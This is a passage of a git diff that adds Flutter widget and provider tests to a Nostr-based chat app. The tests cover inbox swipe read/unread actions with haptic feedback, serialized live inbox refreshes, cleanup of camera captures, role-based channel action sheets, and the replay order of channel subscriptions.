+    expect(find.byKey(const ValueKey('inbox-swipe-open-m1')), findsNothing);
+    expect(
+      find.byKey(const ValueKey('inbox-swipe-background-m1')),
+      findsOneWidget,
+    );
+    expect(
+      tester
+          .getSize(find.byKey(const ValueKey('inbox-swipe-background-m1')))
+          .height,
+      tester.getSize(row).height,
+    );
+    final markUnreadAction = find.byKey(const ValueKey('inbox-swipe-read-m1'));
+    final markUnreadMaterial = tester.widget<Material>(
+      find.descendant(of: markUnreadAction, matching: find.byType(Material)),
+    );
+    expect(markUnreadMaterial.color, tester.element(row).colors.primary);
+    expect(markUnreadMaterial.borderRadius, BorderRadius.circular(Radii.full));
+
+    await tester.tap(find.byKey(const ValueKey('inbox-swipe-read-m1')));
     await tester.pumpAndSettle();
 
     expect(find.byKey(const ValueKey('inbox-unread-dot-m1')), findsOneWidget);
+
+    await tester.drag(row, const Offset(-200, 0));
+    await tester.pumpAndSettle();
+    final markReadAction = find.byKey(const ValueKey('inbox-swipe-read-m1'));
+    final markReadMaterial = tester.widget<Material>(
+      find.descendant(of: markReadAction, matching: find.byType(Material)),
+    );
+    expect(markReadMaterial.color, tester.element(row).appColors.success);
+    expect(markReadMaterial.color, isNot(markUnreadMaterial.color));
+  });
+
+  testWidgets('swipe action reveals its label with one threshold haptic', (
+    tester,
+  ) async {
+    final hapticCalls = <MethodCall>[];
+    TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+        .setMockMethodCallHandler(SystemChannels.platform, (call) async {
+          if (call.method == 'HapticFeedback.vibrate') {
+            hapticCalls.add(call);
+          }
+          return null;
+        });
+    addTearDown(
+      () => TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+          .setMockMethodCallHandler(SystemChannels.platform, null),
+    );
+
+    await tester.pumpWidget(
+      await buildTestable(
+        readContexts: {'ch1': now, 'ch2': now, 'thread:root1': now},
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final row = find.byKey(const ValueKey('inbox-row-m1'));
+    final gesture = await tester.startGesture(tester.getCenter(row));
+    for (var step = 1; step <= 7; step++) {
+      await gesture.moveBy(
+        const Offset(-10, 0),
+        timeStamp: Duration(milliseconds: step * 50),
+      );
+      await tester.pump();
+    }
+
+    final action = find.byKey(const ValueKey('inbox-swipe-read-m1'));
+    expect(action, findsOneWidget);
+    expect(
+      find.descendant(of: action, matching: find.byIcon(LucideIcons.mail)),
+      findsOneWidget,
+    );
+    expect(find.text('Mark unread'), findsNothing);
+    expect(hapticCalls, isEmpty);
+
+    for (var step = 8; step <= 10; step++) {
+      await gesture.moveBy(
+        const Offset(-10, 0),
+        timeStamp: Duration(milliseconds: step * 50),
+      );
+      await tester.pump();
+    }
+    expect(find.text('Mark unread'), findsOneWidget);
+    expect(hapticCalls, hasLength(1));
+    expect(hapticCalls.single.arguments, 'HapticFeedbackType.selectionClick');
+
+    await gesture.moveBy(
+      const Offset(20, 0),
+      timeStamp: const Duration(milliseconds: 550),
+    );
+    await tester.pump();
+    await gesture.moveBy(
+      const Offset(-20, 0),
+      timeStamp: const Duration(milliseconds: 600),
+    );
+    await tester.pump();
+    expect(hapticCalls, hasLength(1));
+
+    await gesture.up();
+    await tester.pumpAndSettle();
+  });
+
+  testWidgets('commits the inbox read-state action past the swipe threshold', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      await buildTestable(
+        readContexts: {'ch1': now, 'ch2': now, 'thread:root1': now},
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final row = find.byKey(const ValueKey('inbox-row-m1'));
+    await tester.drag(row, const Offset(-500, 0));
+    await tester.pumpAndSettle();
+
+    expect(find.byKey(const ValueKey('inbox-unread-dot-m1')), findsOneWidget);
+    expect(
+      find.byKey(const ValueKey('inbox-swipe-background-m1')),
+      findsNothing,
+    );
   });
 
   testWidgets('falls back to short pubkey when user not cached', (
diff --git a/mobile/test/features/activity/activity_provider_test.dart b/mobile/test/features/activity/activity_provider_test.dart
index 0d927df860..351e08b4e1 100644
--- a/mobile/test/features/activity/activity_provider_test.dart
+++ b/mobile/test/features/activity/activity_provider_test.dart
@@ -7,10 +7,17 @@ import 'package:buzz/shared/relay/relay.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
-/// Records every DM history query (`#h` filter) so tests can assert whether
-/// the DM source was fetched. All queries resolve to empty lists.
+/// Records subscriptions and DM history queries for Activity projection tests.
 class _RecordingSessionNotifier extends RelaySessionNotifier {
   final List<List<String>> dmQueries = [];
+  final List<NostrEvent> _history = [];
+  final List<({NostrFilter filter, void Function(NostrEvent) onEvent})>
+  _subscriptions = [];
+  Completer<void>? mentionFetchGate;
+  bool failNextMentionFetch = false;
+  int mentionFetchCount = 0;
+  int activeMentionFetches = 0;
+  int maxActiveMentionFetches = 0;
 
   @override
   SessionState build() => const SessionState(status: SessionStatus.connected);
@@ -22,7 +29,63 @@ class _RecordingSessionNotifier extends RelaySessionNotifier {
   }) async {
     final h = filter.tags['#h'];
     if (h != null) dmQueries.add(h);
-    return const [];
+    final isMentionFetch =
+        filter.tags.containsKey('#p') && filter.kinds.contains(40002);
+    if (isMentionFetch) {
+      mentionFetchCount += 1;
+      activeMentionFetches += 1;
+      if (activeMentionFetches > maxActiveMentionFetches) {
+        maxActiveMentionFetches = activeMentionFetches;
+      }
+      try {
+        final gate = mentionFetchGate;
+        if (gate != null) await gate.future;
+        if (failNextMentionFetch) {
+          failNextMentionFetch = false;
+          throw StateError('transient mention history failure');
+        }
+      } finally {
+        activeMentionFetches -= 1;
+      }
+    }
+    return _history.where((event) => _matches(filter, event)).toList();
+  }
+
+  @override
+  Future<void Function()> subscribe(
+    NostrFilter filter,
+    void Function(NostrEvent) onEvent, {
+    void Function(String message)? onClosed,
+  }) async {
+    final subscription = (filter: filter, onEvent: onEvent);
+    _subscriptions.add(subscription);
+    return () => _subscriptions.remove(subscription);
+  }
+
+  void emit(NostrEvent event) {
+    _history.add(event);
+    for (final subscription in List.of(_subscriptions)) {
+      if (_matches(subscription.filter, event)) {
+        subscription.onEvent(event);
+      }
+    }
+  }
+
+  void seed(NostrEvent event) => _history.add(event);
+
+  bool _matches(NostrFilter filter, NostrEvent event) {
+    if (!filter.kinds.contains(event.kind)) return false;
+    for (final entry in filter.tags.entries) {
+      final tagName = entry.key.startsWith('#')
+          ? entry.key.substring(1)
+          : entry.key;
+      final matchesTag = event.tags.any(
+        (tag) =>
+            tag.length > 1 && tag[0] == tagName && entry.value.contains(tag[1]),
+      );
+      if (!matchesTag) return false;
+    }
+    return true;
   }
 }
 
@@ -55,6 +118,27 @@ Channel _dmChannel(String id) => Channel(
   isMember: true,
 );
 
+NostrEvent _mentionEvent(String id, int createdAt) => NostrEvent(
+  id: id,
+  pubkey: 'other_pk',
+  createdAt: createdAt,
+  kind: 40002,
+  tags: const [
+    ['p', 'me_pk'],
+    ['h', 'channel-1'],
+  ],
+  content: 'Hello from the live relay',
+  sig: '',
+);
+
+Future<void> _waitFor(bool Function() predicate) async {
+  for (var attempt = 0; attempt < 100; attempt++) {
+    if (predicate()) return;
+    await Future<void>.delayed(const Duration(milliseconds: 10));
+  }
+  fail('Condition was not reached before timeout');
+}
+
 void main() {
   TestWidgetsFlutterBinding.ensureInitialized();
 
@@ -105,4 +189,159 @@ void main() {
 
     expect(session.dmQueries, isEmpty);
   });
+
+  test(
+    'refreshes the inbox projection when addressed activity arrives',
+    () async {
+      final session = _RecordingSessionNotifier();
+      final container = ProviderContainer(
+        overrides: [
+          relayConfigProvider.overrideWith(_FixedRelayConfigNotifier.new),
+          myPubkeyProvider.overrideWithValue('me_pk'),
+          relaySessionProvider.overrideWith(() => session),
+          channelsProvider.overrideWith(
+            () => _FixedChannelsNotifier(const <Channel>[]),
+          ),
+        ],
+      );
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      await container.read(activityProvider.future);
+      await Future<void>.delayed(const Duration(milliseconds: 10));
+      expect(container.read(inboxItemsProvider), isEmpty);
+
+      session.emit(
+        const NostrEvent(
+          id: 'live-mention',
+          pubkey: 'other_pk',
+          createdAt: 1_700_000_000,
+          kind: 40002,
+          tags: [
+            ['p', 'me_pk'],
+            ['h', 'channel-1'],
+          ],
+          content: 'Hello from the live relay',
+          sig: '',
+        ),
+      );
+      await Future<void>.delayed(const Duration(milliseconds: 100));
+
+      expect(container.read(inboxItemsProvider).single.id, 'live-mention');
+    },
+  );
+
+  test(
+    'serializes live refreshes and catches up events queued mid-fetch',
+    () async {
+      final session = _RecordingSessionNotifier();
+      final container = ProviderContainer(
+        overrides: [
+          relayConfigProvider.overrideWith(_FixedRelayConfigNotifier.new),
+          myPubkeyProvider.overrideWithValue('me_pk'),
+          relaySessionProvider.overrideWith(() => session),
+          channelsProvider.overrideWith(
+            () => _FixedChannelsNotifier(const <Channel>[]),
+          ),
+        ],
+      );
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      await container.read(activityProvider.future);
+      await Future<void>.delayed(const Duration(milliseconds: 10));
+
+      session.mentionFetchGate = Completer<void>();
+      session.emit(_mentionEvent('live-one', 1_700_000_001));
+      await _waitFor(() => session.activeMentionFetches == 1);
+
+      session.emit(_mentionEvent('live-two', 1_700_000_002));
+      await Future<void>.delayed(const Duration(milliseconds: 100));
+      expect(session.maxActiveMentionFetches, 1);
+
+      session.mentionFetchGate!.complete();
+      await _waitFor(() => session.mentionFetchCount >= 3);
+      await _waitFor(() => container.read(inboxItemsProvider).length == 2);
+
+      expect(session.maxActiveMentionFetches, 1);
+      expect(
+        container.read(inboxItemsProvider).map((item) => item.id),
+        containsAll(['live-one', 'live-two']),
+      );
+    },
+  );
+
+  test('serializes manual and live inbox refreshes', () async {
+    final session = _RecordingSessionNotifier();
+    final container = ProviderContainer(
+      overrides: [
+        relayConfigProvider.overrideWith(_FixedRelayConfigNotifier.new),
+        myPubkeyProvider.overrideWithValue('me_pk'),
+        relaySessionProvider.overrideWith(() => session),
+        channelsProvider.overrideWith(
+          () => _FixedChannelsNotifier(const <Channel>[]),
+        ),
+      ],
+    );
+    addTearDown(container.dispose);
+
+    await container.read(channelsProvider.future);
+    await container.read(activityProvider.future);
+    await Future<void>.delayed(const Duration(milliseconds: 10));
+
+    session.mentionFetchGate = Completer<void>();
+    final manualRefresh = container.read(activityProvider.notifier).refresh();
+    await _waitFor(() => session.activeMentionFetches == 1);
+
+    session.emit(_mentionEvent('live-during-manual', 1_700_000_003));
+    await Future<void>.delayed(const Duration(milliseconds: 100));
+    expect(session.maxActiveMentionFetches, 1);
+
+    session.mentionFetchGate!.complete();
+    await manualRefresh;
+    await _waitFor(() => session.mentionFetchCount >= 3);
+    await _waitFor(
+      () =>
+          container.read(inboxItemsProvider).single.id == 'live-during-manual',
+    );
+
+    expect(session.maxActiveMentionFetches, 1);
+  });
+
+  test('retains the loaded inbox when a live refresh fails', () async {
+    final session = _RecordingSessionNotifier()
+      ..seed(_mentionEvent('existing', 1_700_000_001));
+    final container = ProviderContainer(
+      overrides: [
+        relayConfigProvider.overrideWith(_FixedRelayConfigNotifier.new),
+        myPubkeyProvider.overrideWithValue('me_pk'),
+        relaySessionProvider.overrideWith(() => session),
+        channelsProvider.overrideWith(
+          () => _FixedChannelsNotifier(const <Channel>[]),
+        ),
+      ],
+    );
+    addTearDown(container.dispose);
+
+    await container.read(channelsProvider.future);
+    await container.read(activityProvider.future);
+    await Future<void>.delayed(const Duration(milliseconds: 10));
+    expect(container.read(inboxItemsProvider).single.id, 'existing');
+
+    session.failNextMentionFetch = true;
+    session.emit(_mentionEvent('newer', 1_700_000_002));
+    await _waitFor(() => session.mentionFetchCount >= 2);
+    await Future<void>.delayed(const Duration(milliseconds: 10));
+
+    expect(container.read(inboxItemsProvider).single.id, 'existing');
+  });
+}
+
+class _FixedChannelsNotifier extends ChannelsNotifier {
+  final List<Channel> channels;
+
+  _FixedChannelsNotifier(this.channels);
+
+  @override
+  Future<List<Channel>> build() async => channels;
 }
diff --git a/mobile/test/features/channels/camera_capture_cleanup_test.dart b/mobile/test/features/channels/camera_capture_cleanup_test.dart
index 17d96b0d5b..0716af4d9d 100644
--- a/mobile/test/features/channels/camera_capture_cleanup_test.dart
+++ b/mobile/test/features/channels/camera_capture_cleanup_test.dart
@@ -51,4 +51,21 @@ void main() {
       expect(await file.exists(), isFalse);
     }
   });
+
+  test('retains a composer-owned copy before native cleanup', () async {
+    final source = File(
+      '${Directory.systemTemp.path}/buzz-native-${DateTime.now().microsecondsSinceEpoch}.png',
+    );
+    await source.writeAsBytes([4, 5, 6]);
+    late XFile retained;
+
+    await processCapturedImage(XFile(source.path), (image) async {
+      retained = (await retainTemporaryImages([image])).single;
+    });
+    addTearDown(() => File(retained.path).delete());
+
+    expect(await source.exists(), isFalse);
+    expect(await File(retained.path).exists(), isTrue);
+    expect(await retained.readAsBytes(), [4, 5, 6]);
+  });
 }
diff --git a/mobile/test/features/channels/channel_actions_sheet_test.dart b/mobile/test/features/channels/channel_actions_sheet_test.dart
new file mode 100644
index 0000000000..e38a40d9a5
--- /dev/null
+++ b/mobile/test/features/channels/channel_actions_sheet_test.dart
@@ -0,0 +1,390 @@
+import 'dart:async';
+
+import 'package:buzz/features/channels/channel.dart';
+import 'package:buzz/features/channels/channel_actions_sheet.dart';
+import 'package:buzz/features/channels/channel_management_provider.dart';
+import 'package:buzz/shared/mentions/agent_identity_provider.dart';
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+
+const _currentPubkey = 'me';
+
+Channel _channel({String type = 'stream', bool isArchived = false}) => Channel(
+  id: 'channel-id',
+  name: type == 'dm' ? 'Alice' : 'general',
+  channelType: type,
+  visibility: 'open',
+  description: '',
+  createdBy: 'owner',
+  createdAt: DateTime(2025),
+  memberCount: 2,
+  isMember: true,
+  archivedAt: isArchived ? DateTime(2025, 1, 2) : null,
+);
+
+Widget _app({
+  required Channel channel,
+  required Future<List<ChannelMember>> Function() loadMembers,
+  bool isUnread = false,
+  AsyncValue<Map<String, String>> agentOwners = const AsyncValue.data(
+    <String, String>{},
+  ),
+  ChannelActions Function(Ref ref)? createChannelActions,
+  String? currentPubkey = _currentPubkey,
+}) => ProviderScope(
+  overrides: [
+    currentPubkeyProvider.overrideWith((ref) => currentPubkey),
+    channelMembersProvider(channel.id).overrideWith((ref) => loadMembers()),
+    agentOwnersProvider.overrideWithValue(agentOwners),
+    if (createChannelActions != null)
+      channelActionsProvider.overrideWith(createChannelActions),
+  ],
+  child: MaterialApp(
+    theme: AppTheme.light(),
+    home: Scaffold(
+      body: ChannelActionsSheet(channel: channel, isUnread: isUnread),
+    ),
+  ),
+);
+
+Widget _modalApp({
+  required Channel channel,
+  required Future<List<ChannelMember>> Function() loadMembers,
+  required ChannelActions Function(Ref ref) createChannelActions,
+}) => ProviderScope(
+  overrides: [
+    currentPubkeyProvider.overrideWith((ref) => _currentPubkey),
+    channelMembersProvider(channel.id).overrideWith((ref) => loadMembers()),
+    channelActionsProvider.overrideWith(createChannelActions),
+  ],
+  child: MaterialApp(
+    theme: AppTheme.light(),
+    home: Builder(
+      builder: (context) => Scaffold(
+        body: TextButton(
+          onPressed: () => showChannelActionsSheet(
+            context: context,
+            channel: channel,
+            isUnread: false,
+          ),
+          child: const Text('Open actions'),
+        ),
+      ),
+    ),
+  ),
+);
+
+void main() {
+  testWidgets('owner sees the complete regular-channel action set', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: _currentPubkey,
+            role: 'owner',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    for (final label in [
+      'Star',
+      'Mark Unread',
+      'Move to section…',
+      'Mute channel',
+      'Manage channel',
+      'Copy channel name',
+      'Copy channel ID',
+      'Leave channel',
+      'Archive channel',
+      'Delete channel',
+    ]) {
+      expect(find.text(label), findsOneWidget, reason: label);
+    }
+
+    final moveTop = tester.getTopLeft(find.text('Move to section…')).dy;
+    final muteTop = tester.getTopLeft(find.text('Mute channel')).dy;
+    final manageTop = tester.getTopLeft(find.text('Manage channel')).dy;
+    final copyNameTop = tester.getTopLeft(find.text('Copy channel name')).dy;
+    final copyIdTop = tester.getTopLeft(find.text('Copy channel ID')).dy;
+    expect(moveTop, lessThan(muteTop));
+    expect(muteTop, lessThan(manageTop));
+    expect(manageTop, lessThan(copyNameTop));
+    expect(copyNameTop, lessThan(copyIdTop));
+  });
+
+  testWidgets('unread channel uses the Mark Read label', (tester) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        isUnread: true,
+        loadMembers: () async => const [],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Mark Read'), findsOneWidget);
+    expect(find.text('Mark Unread'), findsNothing);
+  });
+
+  testWidgets('admin can archive but cannot delete', (tester) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: _currentPubkey,
+            role: 'admin',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsOneWidget);
+    expect(find.text('Delete channel'), findsNothing);
+  });
+
+  testWidgets('verified owner agent grants archive and delete', (tester) async {
+    const agentPubkey = 'agent';
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        agentOwners: const AsyncValue.data({agentPubkey: _currentPubkey}),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: agentPubkey,
+            role: 'owner',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsOneWidget);
+    expect(find.text('Delete channel'), findsOneWidget);
+  });
+
+  testWidgets('unresolved identity grants no lifecycle actions', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        currentPubkey: null,
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: 'ordinary-owner',
+            role: 'owner',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsNothing);
+    expect(find.text('Delete channel'), findsNothing);
+  });
+
+  testWidgets('archived owner can unarchive but cannot delete', (tester) async {
+    late _FakeChannelActions actions;
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(isArchived: true),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: _currentPubkey,
+            role: 'owner',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+        createChannelActions: (ref) => actions = _FakeChannelActions(ref),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsNothing);
+    expect(find.text('Unarchive channel'), findsOneWidget);
+    expect(find.text('Delete channel'), findsNothing);
+
+    await tester.tap(find.text('Unarchive channel'));
+    await tester.pumpAndSettle();
+    expect(find.text('Unarchive #general?'), findsOneWidget);
+    await tester.tap(find.widgetWithText(FilledButton, 'Unarchive'));
+    await tester.pumpAndSettle();
+
+    expect(actions.unarchivedChannelId, 'channel-id');
+  });
+
+  testWidgets('owned non-owner agent grants no lifecycle actions', (
+    tester,
+  ) async {
+    const agentPubkey = 'agent';
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        agentOwners: const AsyncValue.data({agentPubkey: _currentPubkey}),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: agentPubkey,
+            role: 'bot',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsNothing);
+    expect(find.text('Delete channel'), findsNothing);
+  });
+
+  testWidgets('agent ownership loading keeps lifecycle actions pending', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        agentOwners: const AsyncValue.loading(),
+        loadMembers: () async => const [],
+      ),
+    );
+    await tester.pump();
+
+    expect(find.text('Loading channel actions…'), findsOneWidget);
+    expect(find.text('Archive channel'), findsNothing);
+    expect(find.text('Delete channel'), findsNothing);
+  });
+
+  testWidgets('member sees neither owner action', (tester) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(),
+        loadMembers: () async => [
+          ChannelMember(
+            pubkey: _currentPubkey,
+            role: 'member',
+            joinedAt: DateTime(2025),
+          ),
+        ],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.text('Archive channel'), findsNothing);
+    expect(find.text('Delete channel'), findsNothing);
+    expect(find.text('Leave channel'), findsOneWidget);
+  });
+
+  testWidgets('shows loading and unavailable capability states', (
+    tester,
+  ) async {
+    final pending = Completer<List<ChannelMember>>();
+    await tester.pumpWidget(
+      _app(channel: _channel(), loadMembers: () => pending.future),
+    );
+    await tester.pump();
+    expect(find.text('Loading channel actions…'), findsOneWidget);
+
+    pending.completeError(Exception('relay unavailable'));
+    await tester.pumpAndSettle();
+    expect(find.text('Channel actions unavailable'), findsOneWidget);
+  });
+
+  testWidgets(
+    'manage leave closes both nested sheets without popping the page',
+    (tester) async {
+      await tester.pumpWidget(
+        _modalApp(
+          channel: _channel(),
+          loadMembers: () async => const [],
+          createChannelActions: (ref) => _FakeChannelActions(ref),
+        ),
+      );
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Open actions'));
+      await tester.pumpAndSettle();
+
+      await tester.tap(find.text('Manage channel'));
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Leave channel').last);
+      await tester.pumpAndSettle();
+
+      expect(find.byType(ChannelActionsSheet), findsNothing);
+      expect(find.byType(Scaffold), findsOneWidget);
+    },
+  );
+
+  testWidgets('DM omits quick actions, then shows mute and copy rows', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      _app(
+        channel: _channel(type: 'dm'),
+        loadMembers: () async => const [],
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    for (final label in [
+      'Mute channel',
+      'Copy channel name',
+      'Copy channel ID',
+    ]) {
+      expect(find.text(label), findsOneWidget, reason: label);
+    }
+    for (final label in [
+      'Star',
+      'Unstar',
+      'Mark Unread',
+      'Mark Read',
+      'Move to section…',
+      'Manage channel',
+      'Leave channel',
+      'Archive channel',
+      'Delete channel',
+    ]) {
+      expect(find.text(label), findsNothing, reason: label);
+    }
+
+    final muteTop = tester.getTopLeft(find.text('Mute channel')).dy;
+    final copyNameTop = tester.getTopLeft(find.text('Copy channel name')).dy;
+    final copyIdTop = tester.getTopLeft(find.text('Copy channel ID')).dy;
+    expect(muteTop, lessThan(copyNameTop));
+    expect(copyNameTop, lessThan(copyIdTop));
+  });
+}
+
+class _FakeChannelActions extends ChannelActions {
+  _FakeChannelActions(Ref ref)
+    : super(
+        ref: ref,
+        session: ref.read(relaySessionProvider.notifier),
+        signedEventRelay: SignedEventRelay(
+          session: ref.read(relaySessionProvider.notifier),
+          nsec: null,
+        ),
+        currentPubkey: _currentPubkey,
+      );
+
+  String? unarchivedChannelId;
+
+  @override
+  Future<void> leaveChannel(String channelId) async {}
+
+  @override
+  Future<void> unarchiveChannel(String channelId) async {
+    unarchivedChannelId = channelId;
+  }
+}
diff --git a/mobile/test/features/channels/channel_detail_page_test.dart b/mobile/test/features/channels/channel_detail_page_test.dart
index 899394de23..00b9f81229 100644
--- a/mobile/test/features/channels/channel_detail_page_test.dart
+++ b/mobile/test/features/channels/channel_detail_page_test.dart
@@ -4,6 +4,7 @@ import 'dart:convert';
 import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
 import 'package:flutter/rendering.dart' show ScrollDirection;
+import 'package:flutter/services.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -21,14 +22,17 @@ import 'package:buzz/features/channels/thread_detail_page.dart';
 import 'package:buzz/features/channels/thread_replies_provider.dart';
 import 'package:buzz/features/channels/timeline_message.dart';
 import 'package:buzz/features/channels/channels_provider.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
+import 'package:buzz/features/channels/unread_badge/observed_unread_event.dart';
 import 'package:buzz/features/channels/small_avatar.dart';
 import 'package:buzz/features/profile/profile_provider.dart';
 import 'package:buzz/features/profile/user_cache_provider.dart';
 import 'package:buzz/features/profile/user_profile.dart';
+import 'package:buzz/features/profile/user_profile_sheet.dart';
 import 'package:buzz/shared/mentions/agent_identity_provider.dart';
 import 'package:buzz/shared/relay/relay.dart';
 import 'package:buzz/shared/theme/theme.dart';
+import 'package:buzz/shared/widgets/frosted_app_bar.dart';
 import 'package:buzz/shared/widgets/skeleton.dart';
 import 'package:shared_preferences/shared_preferences.dart';
 
@@ -85,6 +89,25 @@ NostrEvent _systemMsg({
   sig: '',
 );
 
+NostrEvent _huddleMsg({
+  required String id,
+  required int kind,
+  String pubkey = 'alice',
+  int createdAt = 1000,
+}) => NostrEvent(
+  id: id,
+  pubkey: pubkey,
+  createdAt: createdAt,
+  kind: kind,
+  tags: [
+    ['h', _channelId],
+  ],
+  content: jsonEncode({
+    'ephemeral_channel_id': '8d764100-fd8f-44cf-9c98-6d8fbd739b8c',
+  }),
+  sig: '',
+);
+
 NostrEvent _reaction({
   required String id,
   required String targetId,
@@ -158,6 +181,7 @@ Widget _buildTestable({
   Map<String, List<NostrEvent>> threadReplies = const {},
   Map<String, Future<List<NostrEvent>>> pendingThreadReplies = const {},
   TextScaler textScaler = TextScaler.noScaling,
+  bool disableAnimations = false,
   RelaySessionNotifier? relaySessionNotifier,
 }) {
   final resolvedChannel = channel ?? _testChannel;
@@ -216,7 +240,10 @@ Widget _buildTestable({
     child: MaterialApp(
       theme: AppTheme.light(),
       builder: (context, child) => MediaQuery(
-        data: MediaQuery.of(context).copyWith(textScaler: textScaler),
+        data: MediaQuery.of(context).copyWith(
+          textScaler: textScaler,
+          disableAnimations: disableAnimations,
+        ),
         child: child!,
       ),
       navigatorObservers: navigatorObservers,
@@ -229,6 +256,55 @@ Widget _buildTestable({
   );
 }
 
+Widget _buildNavigationTestable({
+  required Channel channelA,
+  required Channel channelB,
+  required RelaySessionNotifier relaySession,
+}) {
+  return ProviderScope(
+    overrides: [
+      relaySessionProvider.overrideWith(() => relaySession),
+      channelMessagesProvider(
+        channelA.id,
+      ).overrideWith(() => _FakeMessagesNotifier([], channelId: channelA.id)),
+      channelMessagesProvider(
+        channelB.id,
+      ).overrideWith(() => _FakeMessagesNotifier([], channelId: channelB.id)),
+      channelTypingProvider(
+        channelA.id,
+      ).overrideWith(() => _FakeTypingNotifier([], channelId: channelA.id)),
+      channelTypingProvider(
+        channelB.id,
+      ).overrideWith(() => _FakeTypingNotifier([], channelId: channelB.id)),
+      channelDetailsProvider(
+        channelA.id,
+      ).overrideWith((ref) async => ChannelDetails.fromChannel(channelA)),
+      channelDetailsProvider(
+        channelB.id,
+      ).overrideWith((ref) async => ChannelDetails.fromChannel(channelB)),
+      channelMembersProvider(
+        channelA.id,
+      ).overrideWith((ref) async => const <ChannelMember>[]),
+      channelMembersProvider(
+        channelB.id,
+      ).overrideWith((ref) async => const <ChannelMember>[]),
+      userCacheProvider.overrideWith(() => _FakeUserCacheNotifier({})),
+      profileProvider.overrideWith(() => _FakeProfileNotifier()),
+      channelsProvider.overrideWith(
+        () => _FakeChannelsNotifier([channelA, channelB]),
+      ),
+      relayClientProvider.overrideWithValue(
+        RelayClient(baseUrl: 'http://localhost:3000'),
+      ),
+      savedPrefsProvider.overrideWithValue(_testPrefs),
+    ],
+    child: MaterialApp(
+      theme: AppTheme.light(),
+      home: ChannelDetailPage(channel: channelA),
+    ),
+  );
+}
+
 /// Finder that searches for text within RichText spans. [find.text] only
 /// matches the top-level text property; this also searches nested TextSpans.
 Finder findRichText(String text) {
@@ -262,6 +338,103 @@ void main() {
   });
 
   group('ChannelDetailPage', () {
+    testWidgets(
+      'restores the previous channel replay priority after a nested pop',
+      (tester) async {
+        final channelA = _channel(id: 'channel-a', name: 'channel A');
+        final channelB = _channel(id: 'channel-b', name: 'channel B');
+        final socket = _RecordingRelaySocket();
+        final relaySession = RelaySessionNotifier();
+        relaySession.debugAttachSocketForTest(socket);
+
+        final subscribeB = relaySession.subscribe(
+          _filterForChannel(channelB.id),
+          (_) {},
+        );
+        relaySession.debugHandleMessage(['EOSE', 'l-1']);
+        await subscribeB;
+        final subscribeA = relaySession.subscribe(
+          _filterForChannel(channelA.id),
+          (_) {},
+        );
+        relaySession.debugHandleMessage(['EOSE', 'l-2']);
+        await subscribeA;
+
+        await tester.pumpWidget(
+          _buildNavigationTestable(
+            channelA: channelA,
+            channelB: channelB,
+            relaySession: relaySession,
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        final navigator = Navigator.of(
+          tester.element(find.byType(ChannelDetailPage)),
+        );
+        navigator.push(
+          MaterialPageRoute<void>(
+            builder: (_) => ChannelDetailPage(channel: channelB),
+          ),
+        );
+        await tester.pumpAndSettle();
+        navigator.pop();
+        await tester.pumpAndSettle();
+
+        socket.messages.clear();
+        await relaySession.debugReplayLiveSubscriptions();
+
+        expect(_replayedChannelIds(socket), [channelA.id, channelB.id]);
+      },
+    );
+
+    testWidgets(
+      'keeps replacement channel replay priority after old route disposal',
+      (tester) async {
+        final channelA = _channel(id: 'channel-a', name: 'channel A');
+        final channelB = _channel(id: 'channel-b', name: 'channel B');
+        final socket = _RecordingRelaySocket();
+        final relaySession = RelaySessionNotifier();
+        relaySession.debugAttachSocketForTest(socket);
+
